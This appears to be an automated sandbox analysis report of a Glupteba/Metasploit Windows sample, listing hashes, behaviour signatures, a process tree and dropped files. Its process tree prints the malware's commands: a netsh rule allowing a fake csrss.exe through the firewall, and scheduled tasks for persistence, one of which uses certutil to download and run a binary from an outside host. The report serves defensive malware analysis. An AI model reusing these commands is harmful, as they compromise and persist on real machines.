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Analysis

  • max time kernel
    150s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    25/12/2023, 01:08

General

  • Target

    1f4d55b98a31413eb6ec577ac192dc53.exe

  • Size

    4.5MB

  • MD5

    1f4d55b98a31413eb6ec577ac192dc53

  • SHA1

    1a798dc46efbfa02acc451999111717619023a5c

  • SHA256

    b8409cd4c76480d62bb3abe797d9509dbdc2f6170dd065661ee86cc8fa19c95f

  • SHA512

    eec08fed3b7aa0de3e7da0a71715da918fc57faa83f600a699d7846d53d68b4521d111f33fb1d665116a0dfe543b9ff3e4517e2c5a9cbb16521823d967e21208

  • SSDEEP

    98304:nbHEpjqA1gg36zN2tMXsAdAV9Rl5FVo1cS4V9sNxOegkMn:nolqGE2tAS9NFVrV3UxOeMn

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 20 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 11 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 10 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\1f4d55b98a31413eb6ec577ac192dc53.exe
    "C:\Users\Admin\AppData\Local\Temp\1f4d55b98a31413eb6ec577ac192dc53.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2088
    • C:\Users\Admin\AppData\Local\Temp\1f4d55b98a31413eb6ec577ac192dc53.exe
      "C:\Users\Admin\AppData\Local\Temp\1f4d55b98a31413eb6ec577ac192dc53.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2972
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2708
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Modifies data under HKEY_USERS
          PID:2632
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious use of AdjustPrivilegeToken
        PID:2568
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:2524
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:2072
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          PID:2576
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231226120802.log C:\Windows\Logs\CBS\CbsPersist_20231226120802.cab
    1⤵
    • Drops file in Windows directory
    PID:2296

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabED8C.tmp

    Filesize

    65KB

    MD5

    ac05d27423a85adc1622c714f2cb6184

    SHA1

    b0fe2b1abddb97837ea0195be70ab2ff14d43198

    SHA256

    c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

    SHA512

    6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

  • C:\Users\Admin\AppData\Local\Temp\TarF240.tmp

    Filesize

    171KB

    MD5

    9c0c641c06238516f27941aa1166d427

    SHA1

    64cd549fb8cf014fcd9312aa7a5b023847b6c977

    SHA256

    4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

    SHA512

    936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    3.6MB

    MD5

    170d66f9d75e64f50a295116ca704c25

    SHA1

    db0854fd1c8c705d62411aa8f13be7d2ebe2e476

    SHA256

    f6de5ced2a6adeb6c8422030a373c0a25756c5c79c5b066d9999a03ad9c04fd7

    SHA512

    d51b5ae12e52adf56941e8c4fadedaa6683fc013f6aa6a8c431db72fbf882d74ae75a940f53e7b793bf11e0740cc68eee3715e33eb526c4bdef42b51b74062c9

  • C:\Users\Admin\AppData\Local\Temp\osloader.exe

    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • C:\Windows\rss\csrss.exe

    Filesize

    4.5MB

    MD5

    1f4d55b98a31413eb6ec577ac192dc53

    SHA1

    1a798dc46efbfa02acc451999111717619023a5c

    SHA256

    b8409cd4c76480d62bb3abe797d9509dbdc2f6170dd065661ee86cc8fa19c95f

    SHA512

    eec08fed3b7aa0de3e7da0a71715da918fc57faa83f600a699d7846d53d68b4521d111f33fb1d665116a0dfe543b9ff3e4517e2c5a9cbb16521823d967e21208

  • C:\Windows\rss\csrss.exe

    Filesize

    2.5MB

    MD5

    96ca6029082390e3931fcd81e0e6a485

    SHA1

    a9f2cfee35762b8d5d77cfac70a6dd99a81b7d60

    SHA256

    75805e0b1abf06e0232885df27083dd23066c634248955bf7c6c52584844c14e

    SHA512

    cd8f545c3cda63b3c36af796447432f363ae414862212f0cc70620c8dbe7dbcd6b92cef486047d6e7214ee8c3027043baa5c2ec4a64a9b242b1b8f38a2772952

  • C:\Windows\rss\csrss.exe

    Filesize

    896KB

    MD5

    2de6fc7aed6ae565afb6b6648a776302

    SHA1

    c4af2a20d4150a080e9e66e50b1c494638cb3096

    SHA256

    cad8290fe32a7a63651989ae4fdde27b86bd763a122fefec1c05730980a9c65e

    SHA512

    8be324db7050b18f6466d4c2e04a98507de87cbf472419a77c2a0b619699b6d6b976805b91e68847409f61173b93b272e1c8f0ae2a0b5cf209cc5abb978cbc02

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.3MB

    MD5

    d7e178dc658923112a89a757569b71f3

    SHA1

    e4ac4fba32bc26f32a563270f13f8c92adcdfe54

    SHA256

    71a4c0e0ba0fd5dff01a282fd0a8b21312bf0e395db9ae9e8441ff31b00fa8ce

    SHA512

    ca58fb4b5b57f44a0c996671c19be0aeebe1a80bf2fd8b38d36cfec795db18aa3af4720720a6099a3118e7ceca7191ef1b1faebea0a4d98cbc73d80beec5edf5

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.2MB

    MD5

    8a71ca9731d7d83ba902e9f551002692

    SHA1

    05edcd6b1624e4ebab30c116b4d4cb0c1bb31b1e

    SHA256

    a5dba3112325bf7500814b0dc4bd3fa5ae643ef66319ed669a384fe7d38a5d17

    SHA512

    456c9e55b7f76c7a737d0e60ca6a6d212a8e43896de619e99bb0800be1eaf68213d6610430f70b3dc4aa8a8bc7c60ab6f348344d0700266cfa5b54d2e5624a00

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    2.7MB

    MD5

    7d891b7d6ccb50d11ac7ba48923ab6fc

    SHA1

    85ffd57cc4dacefc35cad7befc3cb1af2a4dd58a

    SHA256

    5afc1252e2d74592cea475ce2d59b8ce212b968cd79fb401fb79e0d68229fafb

    SHA512

    8df1b7eacc7e3536c362e7dcd74cb6f9f5715bf3e4b25a74ab47011771bca35c9e0e1564814a2ca11e6c9ee2300798c657bf72d30304501425a9988f977bb990

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    2.8MB

    MD5

    93a4a90e6944ed63a40dd76d94cabdff

    SHA1

    d0206156e697c2671d2cae4b6b907b21cd21c375

    SHA256

    8d607ac35969fe650c0ad1c2c64091567ce80301a073db024f1e99429a34a1f6

    SHA512

    33513bcb810d36ed02f42ed9a23f3845340260e2c68897cc5a7736104fa2475b4886fb9d9d758528e997b132a0b50e24ae93633507d77e427551d0f63dd64cb2

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe

    Filesize

    832KB

    MD5

    7b39ad502df94b72640988b5362881e0

    SHA1

    fb855a30f2e50eb1dfc2ae9313764915cd492ea1

    SHA256

    f8bfcd140c5ecd9cb3c7edbcb045d188c361638c2fb0af112b6d3a1a112b9f8a

    SHA512

    5185e98f17911e89c9e6738f53b59420e9b5f6a0f2692598d0019ecc0fd20342abc8ef5cb06faef967a3f5cdc4dec1abc01cd68ba6647fbe19e39d02f68d94fa

  • memory/2088-0-0x00000000028F0000-0x0000000002D2C000-memory.dmp

    Filesize

    4.2MB

  • memory/2088-7-0x0000000002D30000-0x0000000003656000-memory.dmp

    Filesize

    9.1MB

  • memory/2088-6-0x00000000028F0000-0x0000000002D2C000-memory.dmp

    Filesize

    4.2MB

  • memory/2088-4-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2088-3-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2088-2-0x0000000002D30000-0x0000000003656000-memory.dmp

    Filesize

    9.1MB

  • memory/2088-1-0x00000000028F0000-0x0000000002D2C000-memory.dmp

    Filesize

    4.2MB

  • memory/2568-108-0x00000000026A0000-0x0000000002ADC000-memory.dmp

    Filesize

    4.2MB

  • memory/2568-113-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-27-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-22-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-21-0x00000000026A0000-0x0000000002ADC000-memory.dmp

    Filesize

    4.2MB

  • memory/2568-119-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-20-0x00000000026A0000-0x0000000002ADC000-memory.dmp

    Filesize

    4.2MB

  • memory/2568-118-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-68-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-117-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-116-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-115-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-109-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-110-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-111-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-112-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2568-114-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2576-28-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2576-44-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2972-8-0x00000000025F0000-0x0000000002A2C000-memory.dmp

    Filesize

    4.2MB

  • memory/2972-9-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2972-18-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2972-19-0x00000000025F0000-0x0000000002A2C000-memory.dmp

    Filesize

    4.2MB

  • memory/2972-5-0x00000000025F0000-0x0000000002A2C000-memory.dmp

    Filesize

    4.2MB